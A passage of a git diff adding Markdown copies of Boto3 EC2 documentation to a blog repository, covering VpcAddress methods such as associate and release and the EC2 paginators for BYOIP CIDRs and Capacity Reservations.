carrier IP address associated. This option is only available for network interfaces which reside in a subnet in a Wavelength Zone (for example an EC2 instance). + + +customer_owned_ip + +* _(string) --_ + + The customer-owned IP address. + + +customer_owned_ipv4_pool + +* _(string) --_ + + The ID of the customer-owned address pool. + + +domain + +* _(string) --_ + + Indicates whether this Elastic IP address is for use with instances in EC2-Classic (standard ) or instances in a VPC (vpc ). + + +instance_id + +* _(string) --_ + + The ID of the instance that the address is associated with (if any). + + +network_border_group + +* _(string) --_ + + The name of the unique set of Availability Zones, Local Zones, or Wavelength Zones from which AWS advertises IP addresses. + + +network_interface_id + +* _(string) --_ + + The ID of the network interface. + + +network_interface_owner_id + +* _(string) --_ + + The ID of the AWS account that owns the network interface. + + +private_ip_address + +* _(string) --_ + + The private IP address associated with the Elastic IP address. + + +public_ip + +* _(string) --_ + + The Elastic IP address. + + +public_ipv4_pool + +* _(string) --_ + + The ID of an address pool. + + +tags + +* _(list) --_ + + Any tags assigned to the Elastic IP address. + + * _(dict) -- + Describes a tag. + + * **Key** _(string) -- + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) -- + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +association + +(NetworkInterfaceAssociation) The related association if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +associate(kwargs_) + +Associates an Elastic IP address, or carrier IP address (for instances that are in subnets in Wavelength Zones) with an instance or a network interface. Before you can use an Elastic IP address, you must allocate it to your account. + +An Elastic IP address is for use in either the EC2-Classic platform or in a VPC. For more information, see [Elastic IP Addresses](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +[EC2-Classic, VPC in an EC2-VPC-only account] If the Elastic IP address is already associated with a different instance, it is disassociated from that instance and associated with the specified instance. If you associate an Elastic IP address with an instance that has an existing Elastic IP address, the existing address is disassociated from the instance, but remains allocated to your account. + +[VPC in an EC2-Classic account] If you don't specify a private IP address, the Elastic IP address is associated with the primary IP address. If the Elastic IP address is already associated with a different instance or a network interface, you get an error unless you allow reassociation. You cannot associate an Elastic IP address with an instance or network interface that has an existing Elastic IP address. + +[Subnets in Wavelength Zones] You can associate an IP address from the telecommunication carrier to the instance or network interface. + +You cannot associate an Elastic IP address with an interface in a different network border group. + +Warning + +This is an idempotent operation. If you perform the operation more than once, Amazon EC2 doesn't return an error, and you may be charged for each time the Elastic IP address is remapped to the same instance. For more information, see the _Elastic IP Addresses_ section of [Amazon EC2 Pricing](https://aws.amazon.com/ec2/pricing/) . + + +**Request Syntax** + +```py +response = vpc_address.associate( + InstanceId='string', + PublicIp='string', + AllowReassociation=True|False, + DryRun=True|False, + NetworkInterfaceId='string', + PrivateIpAddress='string' +) +``` + +Parameters + +* **InstanceId** (_string_) -- The ID of the instance. This is required for EC2-Classic. For EC2-VPC, you can specify either the instance ID or the network interface ID, but not both. The operation fails if you specify an instance ID unless exactly one network interface is attached. +* **PublicIp** (_string_) -- The Elastic IP address to associate with the instance. This is required for EC2-Classic. +* **AllowReassociation** (_boolean_) -- EC2-VPC] For a VPC in an EC2-Classic account, specify true to allow an Elastic IP address that is already associated with an instance or network interface to be reassociated with the specified instance or network interface. Otherwise, the operation fails. In a VPC in an EC2-VPC-only account, reassociation is automatic, therefore you can specify false to ensure the operation fails if the Elastic IP address is already associated with another resource. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NetworkInterfaceId** (_string_) -- + + [EC2-VPC] The ID of the network interface. If the instance has more than one network interface, you must specify a network interface ID. + + For EC2-VPC, you can specify either the instance ID or the network interface ID, but not both. + +* **PrivateIpAddress** (_string_) -- EC2-VPC] The primary or secondary private IP address to associate with the Elastic IP address. If no private IP address is specified, the Elastic IP address is associated with the primary private IP address. +Return: +- Return type: dict +- **Response Syntax** + +```py +{ + 'AssociationId': 'string' +} +``` + + +**Response Structure** + +* _(dict) --_ + + * **AssociationId** _(string) -- + [EC2-VPC] The ID that represents the association of the Elastic IP address with an instance. + + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. +- A list containing the name of each sub-resource for this resource +Return: +- Return type: list of str + +load() + +Calls [EC2.Client.describe_addresses()](#EC2.Client.describe_addresses "EC2.Client.describe_addresses") to update the attributes of the VpcAddress resource. Note that the load and reload methods are the same method and can be used interchangeably. + + +**Request Syntax** + +```py +vpc_address.load() +- None + +release(kwargs_) + +Releases the specified Elastic IP address. + +[EC2-Classic, default VPC] Releasing an Elastic IP address automatically disassociates it from any instance that it's associated with. To disassociate an Elastic IP address without releasing it, use DisassociateAddress . + +[Nondefault VPC] You must use DisassociateAddress to disassociate the Elastic IP address before you can release it. Otherwise, Amazon EC2 returns an error (InvalidIPAddress.InUse ). + +After releasing an Elastic IP address, it is released to the IP address pool. Be sure to update your DNS records and any servers or devices that communicate with the address. If you attempt to release an Elastic IP address that you already released, you'll get an AuthFailure error if the address is already allocated to another AWS account. + +[EC2-VPC] After you release an Elastic IP address for use in a VPC, you might be able to recover it. For more information, see AllocateAddress . + + +**Request Syntax** + +```py +response = vpc_address.release( + PublicIp='string', + NetworkBorderGroup='string', + DryRun=True|False +) +``` + +Parameters + +* **PublicIp** (_string_) -- EC2-Classic] The Elastic IP address. Required for EC2-Classic. +* **NetworkBorderGroup** (_string_) -- + + The set of Availability Zones, Local Zones, or Wavelength Zones from which AWS advertises IP addresses. + + If you provide an incorrect network border group, you will receive an InvalidAddress.NotFound error. For more information, see [Error Codes](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/errors-overview.html) . + + Note + + You cannot use a network border group with EC2 Classic. If you attempt this operation on EC2 classic, you will receive an InvalidParameterCombination error. For more information, see [Error Codes](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/errors-overview.html) . + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- None + +reload() + +Calls [EC2.Client.describe_addresses()](#EC2.Client.describe_addresses "EC2.Client.describe_addresses") to update the attributes of the VpcAddress resource. Note that the load and reload methods are the same method and can be used interchangeably. + + +**Request Syntax** + +```py +vpc_address.reload() +- None + +[EBS](ebs.html "previous chapter (use the left arrow)") + +[EC2InstanceConnect](ec2-instance-connect.html "next chapter (use the right arrow)") + +### Navigation + +- index](../../genindex.html "General Index") +- modules](../../py-modindex.html "Python Module Index") | +- next](ec2-instance-connect.html "EC2InstanceConnect") | +- previous](ebs.html "EBS") | +- Boto3 Docs 1.16.47 documentation](../../index.html) » +- Available services](index.html) » + +const shortbread = AWSCShortbread({ domain: ".amazonaws.com", }); shortbread.checkForCookieConsent(); [Privacy](https://aws.amazon.com/privacy) | [Site Terms](https://aws.amazon.com/terms) | [Cookie preferences](#) | © Copyright 2020, Amazon Web Services, Inc. Created using [Sphinx](https://sphinx.pocoo.org/). diff --git a/_posts/01Cloud/01AWS/0boto3code/ec2-1Paginators.md b/_posts/01Cloud/01AWS/0boto3code/ec2-1Paginators.md new file mode 100644 index 00000000000..306ab396bf7 --- /dev/null +++ b/_posts/01Cloud/01AWS/0boto3code/ec2-1Paginators.md @@ -0,0 +1,24759 @@ + +[toc] + + +--- + +# EC2 - client + +Table of Contents + +- EC2 + - Client + - Paginators + - Waiters + - Service Resource + - ClassicAddress + - DhcpOptions + - Image + - Instance + - InternetGateway + - KeyPair + - KeyPairInfo + - NetworkAcl + - NetworkInterface + - NetworkInterfaceAssociation + - PlacementGroup + - Route e) + - RouteTable + - RouteTableAssociation + - SecurityGroup + - Snapshot + - Subnet + - Tag + - Volume + - Vpc + - VpcPeeringConnection + - VpcAddress + +--- + + +# EC2 - Paginators + +The available paginators are: + +- [EC2.Paginator.DescribeByoipCidrs](#EC2.Paginator.DescribeByoipCidrs "EC2.Paginator.DescribeByoipCidrs") +- [EC2.Paginator.DescribeCapacityReservations](#EC2.Paginator.DescribeCapacityReservations "EC2.Paginator.DescribeCapacityReservations") +- [EC2.Paginator.DescribeCarrierGateways](#EC2.Paginator.DescribeCarrierGateways "EC2.Paginator.DescribeCarrierGateways") +- [EC2.Paginator.DescribeClassicLinkInstances](#EC2.Paginator.DescribeClassicLinkInstances "EC2.Paginator.DescribeClassicLinkInstances") +- [EC2.Paginator.DescribeClientVpnAuthorizationRules](#EC2.Paginator.DescribeClientVpnAuthorizationRules "EC2.Paginator.DescribeClientVpnAuthorizationRules") +- [EC2.Paginator.DescribeClientVpnConnections](#EC2.Paginator.DescribeClientVpnConnections "EC2.Paginator.DescribeClientVpnConnections") +- [EC2.Paginator.DescribeClientVpnEndpoints](#EC2.Paginator.DescribeClientVpnEndpoints "EC2.Paginator.DescribeClientVpnEndpoints") +- [EC2.Paginator.DescribeClientVpnRoutes](#EC2.Paginator.DescribeClientVpnRoutes "EC2.Paginator.DescribeClientVpnRoutes") +- [EC2.Paginator.DescribeClientVpnTargetNetworks](#EC2.Paginator.DescribeClientVpnTargetNetworks "EC2.Paginator.DescribeClientVpnTargetNetworks") +- [EC2.Paginator.DescribeCoipPools](#EC2.Paginator.DescribeCoipPools "EC2.Paginator.DescribeCoipPools") +- [EC2.Paginator.DescribeDhcpOptions](#EC2.Paginator.DescribeDhcpOptions "EC2.Paginator.DescribeDhcpOptions") +- [EC2.Paginator.DescribeEgressOnlyInternetGateways](#EC2.Paginator.DescribeEgressOnlyInternetGateways "EC2.Paginator.DescribeEgressOnlyInternetGateways") +- [EC2.Paginator.DescribeExportImageTasks](#EC2.Paginator.DescribeExportImageTasks "EC2.Paginator.DescribeExportImageTasks") +- [EC2.Paginator.DescribeFastSnapshotRestores](#EC2.Paginator.DescribeFastSnapshotRestores "EC2.Paginator.DescribeFastSnapshotRestores") +- [EC2.Paginator.DescribeFleets](#EC2.Paginator.DescribeFleets "EC2.Paginator.DescribeFleets") +- [EC2.Paginator.DescribeFlowLogs](#EC2.Paginator.DescribeFlowLogs "EC2.Paginator.DescribeFlowLogs") +- [EC2.Paginator.DescribeFpgaImages](#EC2.Paginator.DescribeFpgaImages "EC2.Paginator.DescribeFpgaImages") +- [EC2.Paginator.DescribeHostReservationOfferings](#EC2.Paginator.DescribeHostReservationOfferings "EC2.Paginator.DescribeHostReservationOfferings") +- [EC2.Paginator.DescribeHostReservations](#EC2.Paginator.DescribeHostReservations "EC2.Paginator.DescribeHostReservations") +- [EC2.Paginator.DescribeHosts](#EC2.Paginator.DescribeHosts "EC2.Paginator.DescribeHosts") +- [EC2.Paginator.DescribeIamInstanceProfileAssociations](#EC2.Paginator.DescribeIamInstanceProfileAssociations "EC2.Paginator.DescribeIamInstanceProfileAssociations") +- [EC2.Paginator.DescribeImportImageTasks](#EC2.Paginator.DescribeImportImageTasks "EC2.Paginator.DescribeImportImageTasks") +- [EC2.Paginator.DescribeImportSnapshotTasks](#EC2.Paginator.DescribeImportSnapshotTasks "EC2.Paginator.DescribeImportSnapshotTasks") +- [EC2.Paginator.DescribeInstanceCreditSpecifications](#EC2.Paginator.DescribeInstanceCreditSpecifications "EC2.Paginator.DescribeInstanceCreditSpecifications") +- [EC2.Paginator.DescribeInstanceStatus](#EC2.Paginator.DescribeInstanceStatus "EC2.Paginator.DescribeInstanceStatus") +- [EC2.Paginator.DescribeInstanceTypeOfferings](#EC2.Paginator.DescribeInstanceTypeOfferings "EC2.Paginator.DescribeInstanceTypeOfferings") +- [EC2.Paginator.DescribeInstanceTypes](#EC2.Paginator.DescribeInstanceTypes "EC2.Paginator.DescribeInstanceTypes") +- [EC2.Paginator.DescribeInstances](#EC2.Paginator.DescribeInstances "EC2.Paginator.DescribeInstances") +- [EC2.Paginator.DescribeInternetGateways](#EC2.Paginator.DescribeInternetGateways "EC2.Paginator.DescribeInternetGateways") +- [EC2.Paginator.DescribeIpv6Pools](#EC2.Paginator.DescribeIpv6Pools "EC2.Paginator.DescribeIpv6Pools") +- [EC2.Paginator.DescribeLaunchTemplateVersions](#EC2.Paginator.DescribeLaunchTemplateVersions "EC2.Paginator.DescribeLaunchTemplateVersions") +- [EC2.Paginator.DescribeLaunchTemplates](#EC2.Paginator.DescribeLaunchTemplates "EC2.Paginator.DescribeLaunchTemplates") +- [EC2.Paginator.DescribeLocalGatewayRouteTableVirtualInterfaceGroupAssociations](#EC2.Paginator.DescribeLocalGatewayRouteTableVirtualInterfaceGroupAssociations "EC2.Paginator.DescribeLocalGatewayRouteTableVirtualInterfaceGroupAssociations") +- [EC2.Paginator.DescribeLocalGatewayRouteTableVpcAssociations](#EC2.Paginator.DescribeLocalGatewayRouteTableVpcAssociations "EC2.Paginator.DescribeLocalGatewayRouteTableVpcAssociations") +- [EC2.Paginator.DescribeLocalGatewayRouteTables](#EC2.Paginator.DescribeLocalGatewayRouteTables "EC2.Paginator.DescribeLocalGatewayRouteTables") +- [EC2.Paginator.DescribeLocalGatewayVirtualInterfaceGroups](#EC2.Paginator.DescribeLocalGatewayVirtualInterfaceGroups "EC2.Paginator.DescribeLocalGatewayVirtualInterfaceGroups") +- [EC2.Paginator.DescribeLocalGatewayVirtualInterfaces](#EC2.Paginator.DescribeLocalGatewayVirtualInterfaces "EC2.Paginator.DescribeLocalGatewayVirtualInterfaces") +- [EC2.Paginator.DescribeLocalGateways](#EC2.Paginator.DescribeLocalGateways "EC2.Paginator.DescribeLocalGateways") +- [EC2.Paginator.DescribeManagedPrefixLists](#EC2.Paginator.DescribeManagedPrefixLists "EC2.Paginator.DescribeManagedPrefixLists") +- [EC2.Paginator.DescribeMovingAddresses](#EC2.Paginator.DescribeMovingAddresses "EC2.Paginator.DescribeMovingAddresses") +- [EC2.Paginator.DescribeNatGateways](#EC2.Paginator.DescribeNatGateways "EC2.Paginator.DescribeNatGateways") +- [EC2.Paginator.DescribeNetworkAcls](#EC2.Paginator.DescribeNetworkAcls "EC2.Paginator.DescribeNetworkAcls") +- [EC2.Paginator.DescribeNetworkInsightsAnalyses](#EC2.Paginator.DescribeNetworkInsightsAnalyses "EC2.Paginator.DescribeNetworkInsightsAnalyses") +- [EC2.Paginator.DescribeNetworkInsightsPaths](#EC2.Paginator.DescribeNetworkInsightsPaths "EC2.Paginator.DescribeNetworkInsightsPaths") +- [EC2.Paginator.DescribeNetworkInterfacePermissions](#EC2.Paginator.DescribeNetworkInterfacePermissions "EC2.Paginator.DescribeNetworkInterfacePermissions") +- [EC2.Paginator.DescribeNetworkInterfaces](#EC2.Paginator.DescribeNetworkInterfaces "EC2.Paginator.DescribeNetworkInterfaces") +- [EC2.Paginator.DescribePrefixLists](#EC2.Paginator.DescribePrefixLists "EC2.Paginator.DescribePrefixLists") +- [EC2.Paginator.DescribePrincipalIdFormat](#EC2.Paginator.DescribePrincipalIdFormat "EC2.Paginator.DescribePrincipalIdFormat") +- [EC2.Paginator.DescribePublicIpv4Pools](#EC2.Paginator.DescribePublicIpv4Pools "EC2.Paginator.DescribePublicIpv4Pools") +- [EC2.Paginator.DescribeReservedInstancesModifications](#EC2.Paginator.DescribeReservedInstancesModifications "EC2.Paginator.DescribeReservedInstancesModifications") +- [EC2.Paginator.DescribeReservedInstancesOfferings](#EC2.Paginator.DescribeReservedInstancesOfferings "EC2.Paginator.DescribeReservedInstancesOfferings") +- [EC2.Paginator.DescribeRouteTables](#EC2.Paginator.DescribeRouteTables "EC2.Paginator.DescribeRouteTables") +- [EC2.Paginator.DescribeScheduledInstanceAvailability](#EC2.Paginator.DescribeScheduledInstanceAvailability "EC2.Paginator.DescribeScheduledInstanceAvailability") +- [EC2.Paginator.DescribeScheduledInstances](#EC2.Paginator.DescribeScheduledInstances "EC2.Paginator.DescribeScheduledInstances") +- [EC2.Paginator.DescribeSecurityGroups](#EC2.Paginator.DescribeSecurityGroups "EC2.Paginator.DescribeSecurityGroups") +- [EC2.Paginator.DescribeSnapshots](#EC2.Paginator.DescribeSnapshots "EC2.Paginator.DescribeSnapshots") +- [EC2.Paginator.DescribeSpotFleetInstances](#EC2.Paginator.DescribeSpotFleetInstances "EC2.Paginator.DescribeSpotFleetInstances") +- [EC2.Paginator.DescribeSpotFleetRequests](#EC2.Paginator.DescribeSpotFleetRequests "EC2.Paginator.DescribeSpotFleetRequests") +- [EC2.Paginator.DescribeSpotInstanceRequests](#EC2.Paginator.DescribeSpotInstanceRequests "EC2.Paginator.DescribeSpotInstanceRequests") +- [EC2.Paginator.DescribeSpotPriceHistory](#EC2.Paginator.DescribeSpotPriceHistory "EC2.Paginator.DescribeSpotPriceHistory") +- [EC2.Paginator.DescribeStaleSecurityGroups](#EC2.Paginator.DescribeStaleSecurityGroups "EC2.Paginator.DescribeStaleSecurityGroups") +- [EC2.Paginator.DescribeSubnets](#EC2.Paginator.DescribeSubnets "EC2.Paginator.DescribeSubnets") +- [EC2.Paginator.DescribeTags](#EC2.Paginator.DescribeTags "EC2.Paginator.DescribeTags") +- [EC2.Paginator.DescribeTrafficMirrorFilters](#EC2.Paginator.DescribeTrafficMirrorFilters "EC2.Paginator.DescribeTrafficMirrorFilters") +- [EC2.Paginator.DescribeTrafficMirrorSessions](#EC2.Paginator.DescribeTrafficMirrorSessions "EC2.Paginator.DescribeTrafficMirrorSessions") +- [EC2.Paginator.DescribeTrafficMirrorTargets](#EC2.Paginator.DescribeTrafficMirrorTargets "EC2.Paginator.DescribeTrafficMirrorTargets") +- [EC2.Paginator.DescribeTransitGatewayAttachments](#EC2.Paginator.DescribeTransitGatewayAttachments "EC2.Paginator.DescribeTransitGatewayAttachments") +- [EC2.Paginator.DescribeTransitGatewayConnectPeers](#EC2.Paginator.DescribeTransitGatewayConnectPeers "EC2.Paginator.DescribeTransitGatewayConnectPeers") +- [EC2.Paginator.DescribeTransitGatewayConnects](#EC2.Paginator.DescribeTransitGatewayConnects "EC2.Paginator.DescribeTransitGatewayConnects") +- [EC2.Paginator.DescribeTransitGatewayMulticastDomains](#EC2.Paginator.DescribeTransitGatewayMulticastDomains "EC2.Paginator.DescribeTransitGatewayMulticastDomains") +- [EC2.Paginator.DescribeTransitGatewayPeeringAttachments](#EC2.Paginator.DescribeTransitGatewayPeeringAttachments "EC2.Paginator.DescribeTransitGatewayPeeringAttachments") +- [EC2.Paginator.DescribeTransitGatewayRouteTables](#EC2.Paginator.DescribeTransitGatewayRouteTables "EC2.Paginator.DescribeTransitGatewayRouteTables") +- [EC2.Paginator.DescribeTransitGatewayVpcAttachments](#EC2.Paginator.DescribeTransitGatewayVpcAttachments "EC2.Paginator.DescribeTransitGatewayVpcAttachments") +- [EC2.Paginator.DescribeTransitGateways](#EC2.Paginator.DescribeTransitGateways "EC2.Paginator.DescribeTransitGateways") +- [EC2.Paginator.DescribeVolumeStatus](#EC2.Paginator.DescribeVolumeStatus "EC2.Paginator.DescribeVolumeStatus") +- [EC2.Paginator.DescribeVolumes](#EC2.Paginator.DescribeVolumes "EC2.Paginator.DescribeVolumes") +- [EC2.Paginator.DescribeVolumesModifications](#EC2.Paginator.DescribeVolumesModifications "EC2.Paginator.DescribeVolumesModifications") +- [EC2.Paginator.DescribeVpcClassicLinkDnsSupport](#EC2.Paginator.DescribeVpcClassicLinkDnsSupport "EC2.Paginator.DescribeVpcClassicLinkDnsSupport") +- [EC2.Paginator.DescribeVpcEndpointConnectionNotifications](#EC2.Paginator.DescribeVpcEndpointConnectionNotifications "EC2.Paginator.DescribeVpcEndpointConnectionNotifications") +- [EC2.Paginator.DescribeVpcEndpointConnections](#EC2.Paginator.DescribeVpcEndpointConnections "EC2.Paginator.DescribeVpcEndpointConnections") +- [EC2.Paginator.DescribeVpcEndpointServiceConfigurations](#EC2.Paginator.DescribeVpcEndpointServiceConfigurations "EC2.Paginator.DescribeVpcEndpointServiceConfigurations") +- [EC2.Paginator.DescribeVpcEndpointServicePermissions](#EC2.Paginator.DescribeVpcEndpointServicePermissions "EC2.Paginator.DescribeVpcEndpointServicePermissions") +- [EC2.Paginator.DescribeVpcEndpointServices](#EC2.Paginator.DescribeVpcEndpointServices "EC2.Paginator.DescribeVpcEndpointServices") +- [EC2.Paginator.DescribeVpcEndpoints](#EC2.Paginator.DescribeVpcEndpoints "EC2.Paginator.DescribeVpcEndpoints") +- [EC2.Paginator.DescribeVpcPeeringConnections](#EC2.Paginator.DescribeVpcPeeringConnections "EC2.Paginator.DescribeVpcPeeringConnections") +- [EC2.Paginator.DescribeVpcs](#EC2.Paginator.DescribeVpcs "EC2.Paginator.DescribeVpcs") +- [EC2.Paginator.GetAssociatedIpv6PoolCidrs](#EC2.Paginator.GetAssociatedIpv6PoolCidrs "EC2.Paginator.GetAssociatedIpv6PoolCidrs") +- [EC2.Paginator.GetGroupsForCapacityReservation](#EC2.Paginator.GetGroupsForCapacityReservation "EC2.Paginator.GetGroupsForCapacityReservation") +- [EC2.Paginator.GetManagedPrefixListAssociations](#EC2.Paginator.GetManagedPrefixListAssociations "EC2.Paginator.GetManagedPrefixListAssociations") +- [EC2.Paginator.GetManagedPrefixListEntries](#EC2.Paginator.GetManagedPrefixListEntries "EC2.Paginator.GetManagedPrefixListEntries") +- [EC2.Paginator.GetTransitGatewayAttachmentPropagations](#EC2.Paginator.GetTransitGatewayAttachmentPropagations "EC2.Paginator.GetTransitGatewayAttachmentPropagations") +- [EC2.Paginator.GetTransitGatewayMulticastDomainAssociations](#EC2.Paginator.GetTransitGatewayMulticastDomainAssociations "EC2.Paginator.GetTransitGatewayMulticastDomainAssociations") +- [EC2.Paginator.GetTransitGatewayPrefixListReferences](#EC2.Paginator.GetTransitGatewayPrefixListReferences "EC2.Paginator.GetTransitGatewayPrefixListReferences") +- [EC2.Paginator.GetTransitGatewayRouteTableAssociations](#EC2.Paginator.GetTransitGatewayRouteTableAssociations "EC2.Paginator.GetTransitGatewayRouteTableAssociations") +- [EC2.Paginator.GetTransitGatewayRouteTablePropagations](#EC2.Paginator.GetTransitGatewayRouteTablePropagations "EC2.Paginator.GetTransitGatewayRouteTablePropagations") +- [EC2.Paginator.SearchLocalGatewayRoutes](#EC2.Paginator.SearchLocalGatewayRoutes "EC2.Paginator.SearchLocalGatewayRoutes") +- [EC2.Paginator.SearchTransitGatewayMulticastGroups](#EC2.Paginator.SearchTransitGatewayMulticastGroups "EC2.Paginator.SearchTransitGatewayMulticastGroups") + +_class_ EC2.Paginator.DescribeByoipCidrs + +paginator = client.get_paginator('describe_byoip_cidrs') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_byoip_cidrs()](#EC2.Client.describe_byoip_cidrs "EC2.Client.describe_byoip_cidrs"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeByoipCidrs) + +**Request Syntax** + +response_iterator = paginator.paginate( + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ByoipCidrs': [ + { + 'Cidr': 'string', + 'Description': 'string', + 'StatusMessage': 'string', + 'State': 'advertised'|'deprovisioned'|'failed-deprovision'|'failed-provision'|'pending-deprovision'|'pending-provision'|'provisioned'|'provisioned-not-publicly-advertisable' + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **ByoipCidrs** _(list) --_ + + Information about your address ranges. + + - _(dict) --_ + + Information about an address range that is provisioned for use with your AWS resources through bring your own IP addresses (BYOIP). + + - **Cidr** _(string) --_ + + The address range, in CIDR notation. + + - **Description** _(string) --_ + + The description of the address range. + + - **StatusMessage** _(string) --_ + + Upon success, contains the ID of the address pool. Otherwise, contains an error message. + + - **State** _(string) --_ + + The state of the address pool. + + +_class_ EC2.Paginator.DescribeCapacityReservations + +paginator = client.get_paginator('describe_capacity_reservations') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_capacity_reservations()](#EC2.Client.describe_capacity_reservations "EC2.Client.describe_capacity_reservations"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeCapacityReservations) + +**Request Syntax** + +response_iterator = paginator.paginate( + CapacityReservationIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **CapacityReservationIds** (_list_) -- + + The ID of the Capacity Reservation. + + - _(string) --_ +- **Filters** (_list_) -- + + One or more filters. + + - instance-type - The type of instance for which the Capacity Reservation reserves capacity. + - owner-id - The ID of the AWS account that owns the Capacity Reservation. + - availability-zone-id - The Availability Zone ID of the Capacity Reservation. + - instance-platform - The type of operating system for which the Capacity Reservation reserves capacity. + - availability-zone - The Availability Zone ID of the Capacity Reservation. + - tenancy - Indicates the tenancy of the Capacity Reservation. A Capacity Reservation can have one of the following tenancy settings: + - default - The Capacity Reservation is created on hardware that is shared with other AWS accounts. + - dedicated - The Capacity Reservation is created on single-tenant hardware that is dedicated to a single AWS account. + - state - The current state of the Capacity Reservation. A Capacity Reservation can be in one of the following states: + - active - The Capacity Reservation is active and the capacity is available for your use. + - expired - The Capacity Reservation expired automatically at the date and time specified in your request. The reserved capacity is no longer available for your use. + - cancelled - The Capacity Reservation was manually cancelled. The reserved capacity is no longer available for your use. + - pending - The Capacity Reservation request was successful but the capacity provisioning is still pending. + - failed - The Capacity Reservation request has failed. A request might fail due to invalid request parameters, capacity constraints, or instance limit constraints. Failed requests are retained for 60 minutes. + - end-date - The date and time at which the Capacity Reservation expires. When a Capacity Reservation expires, the reserved capacity is released and you can no longer launch instances into it. The Capacity Reservation's state changes to expired when it reaches its end date and time. + - end-date-type - Indicates the way in which the Capacity Reservation ends. A Capacity Reservation can have one of the following end types: + - unlimited - The Capacity Reservation remains active until you explicitly cancel it. + - limited - The Capacity Reservation expires automatically at a specified date and time. + - instance-match-criteria - Indicates the type of instance launches that the Capacity Reservation accepts. The options include: + - open - The Capacity Reservation accepts all instances that have matching attributes (instance type, platform, and Availability Zone). Instances that have matching attributes launch into the Capacity Reservation automatically without specifying any additional parameters. + - targeted - The Capacity Reservation only accepts instances that have matching attributes (instance type, platform, and Availability Zone), and explicitly target the Capacity Reservation. This ensures that only permitted instances can use the reserved capacity. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'CapacityReservations': [ + { + 'CapacityReservationId': 'string', + 'OwnerId': 'string', + 'CapacityReservationArn': 'string', + 'AvailabilityZoneId': 'string', + 'InstanceType': 'string', + 'InstancePlatform': 'Linux/UNIX'|'Red Hat Enterprise Linux'|'SUSE Linux'|'Windows'|'Windows with SQL Server'|'Windows with SQL Server Enterprise'|'Windows with SQL Server Standard'|'Windows with SQL Server Web'|'Linux with SQL Server Standard'|'Linux with SQL Server Web'|'Linux with SQL Server Enterprise', + 'AvailabilityZone': 'string', + 'Tenancy': 'default'|'dedicated', + 'TotalInstanceCount': 123, + 'AvailableInstanceCount': 123, + 'EbsOptimized': True|False, + 'EphemeralStorage': True|False, + 'State': 'active'|'expired'|'cancelled'|'pending'|'failed', + 'EndDate': datetime(2015, 1, 1), + 'EndDateType': 'unlimited'|'limited', + 'InstanceMatchCriteria': 'open'|'targeted', + 'CreateDate': datetime(2015, 1, 1), + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + - **CapacityReservations** _(list) --_ + + Information about the Capacity Reservations. + + - _(dict) --_ + + Describes a Capacity Reservation. + + - **CapacityReservationId** _(string) --_ + + The ID of the Capacity Reservation. + + - **OwnerId** _(string) --_ + + The ID of the AWS account that owns the Capacity Reservation. + + - **CapacityReservationArn** _(string) --_ + + The Amazon Resource Name (ARN) of the Capacity Reservation. + + - 